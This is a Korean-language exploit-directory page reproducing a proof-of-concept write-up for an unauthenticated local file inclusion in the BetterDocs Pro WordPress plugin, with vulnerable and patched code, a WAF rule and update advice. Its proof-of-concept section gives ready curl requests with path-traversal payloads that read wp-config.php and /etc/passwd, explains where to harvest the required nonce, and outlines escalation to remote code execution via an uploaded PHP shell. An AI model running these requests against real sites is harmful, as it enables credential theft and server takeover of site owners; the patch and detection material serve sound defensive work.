Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — 인증되지 않은 로컬 파일 포함 | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

인증되지 않은 로컬 파일 포함

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 인증되지 않은 로컬 파일 포함

개요

필드값
CVE IDCVE-2026-7515
CVSS 점수9.8 (치명적)
CVSS 벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향 받는 버전BetterDocs Pro <= 3.8.0
패치된 버전3.8.1
연구자Nguyen Ngoc Duc (duc193)
게시일2026년 6월 18일
CWECWE-98: 파일 포함/요청문의 파일명 제어 부적절

취약점 설명

WordPress용 BetterDocs Pro 플러그인은 버전 3.8.0까지 doc_style 매개변수를 통해 로컬 파일 포함(Local File Inclusion) 에 취약합니다. 이를 통해 인증되지 않은 공격자가 서버에서 임의의 PHP 파일을 포함하고 실행할 수 있습니다.

오염 분석: 소스 → 싱크

소스 (사용자 입력)

파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 라인: 141

root@kitploit:~
// 취약 코드 (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

문제점: $_POST['doc_style']에서 가져온 사용자 제어 입력이 검증 없이 직접 사용됩니다.

싱크 (위험 함수)

파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 라인: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

문제점: $doc_style 변수(사용자 제어)가 views->get()에 전달되는 파일 경로에 직접 포함되어 파일을 포함합니다.

데이터 흐름

root@kitploit:~
HTTP POST 요청
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
검증 없음 (취약 버전 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
include() 또는 require()를 통한 파일 포함
        ↓
임의 PHP 코드 실행 / 파일 읽기

차이점: 취약 버전 vs 패치 버전

취약 버전 3.8.0

root@kitploit:~
// includes/Core/Encyclopedia.php의 141번째 줄
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

패치 버전 3.8.1

root@kitploit:~
// includes/Core/Encyclopedia.php의 145-148번째 줄
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

주요 차이점

영향 받는 AJAX 엔드포인트

두 엔드포인트 모두 nopriv 훅으로 등록되어 있어 인증되지 않은 사용자도 접근할 수 있습니다:

root@kitploit:~
// 17-18번째 줄
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// 20-21번째 줄
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

엔드포인트:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

개념 증명

전제 조건

  • 유효한 encyclopedia_nonce (BetterDocs Encyclopedia 블록이 렌더링된 페이지의 소스 코드에서 찾을 수 있음)

수동 익스플로잇

root@kitploit:~
# 1단계: wp-config.php 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# 2단계: /etc/passwd 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Nonce 찾기

encyclopedia_nonce는 BetterDocs Encyclopedia 블록이 렌더링된 페이지의 JavaScript에 노출됩니다:

root@kitploit:~
// betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- 이것이 필요합니다
};

LFI에서 RCE로 가는 경로

  1. wp-config.php 읽기 - 데이터베이스 자격 증명 추출
  2. PHP 셸 업로드 - WordPress 미디어 업로드 또는 테마 편집기를 통해
  3. 악성 파일 포함 - LFI 취약점을 통해
  4. 코드 실행 - 원격 코드 실행 획득

영향

수정 방법

주요 수정

BetterDocs Pro 버전 3.8.1 이상으로 업데이트

수동 수정 (업데이트가 불가능한 경우)

includes/Core/Encyclopedia.php에 다음 패치를 적용하세요:

root@kitploit:~
// 141번째 줄을 다음으로 교체:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

236번째 줄에도 동일한 수정을 적용하세요.

WAF 규칙 (임시 완화)

doc_style 매개변수의 경로 탐색을 차단하는 규칙을 추가하세요:

root@kitploit:~
# doc_style의 경로 탐색 패턴 차단
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI 시도 차단됨'"

참고 자료

  • Wordfence Intelligence
  • BetterDocs 공식 사이트
  • CVE 세부 정보
  • WPVDB

분석된 파일

root@kitploit:~
취약 버전: betterdocs-pro_3.8.0.zip
패치 버전:   betterdocs-pro_3.9.0.zip

주요 파일:
- includes/Core/Encyclopedia.php    (취약)
- includes/Core/Scripts.php         (nonce 생성 포함)
- includes/Utils/Views.php          (파일 포함 로직)
도구 다운로드
측면취약 버전 (3.8.0)패치 버전 (3.8.1)
검증없음in_array()를 사용한 화이트리스트
허용 값모든 문자열doc-grid, doc-list, doc-list-2만
타입 검사없음엄격한 (===) 비교
영향 유형심각도설명
기밀성높음임의 파일 읽기 (wp-config.php, /etc/passwd 등)
무결성높음파일 수정 또는 삭제
가용성높음서비스 거부
접근 경로네트워크원격 익스플로잇 가능
권한없음인증 불필요
사용자 상호작용없음불필요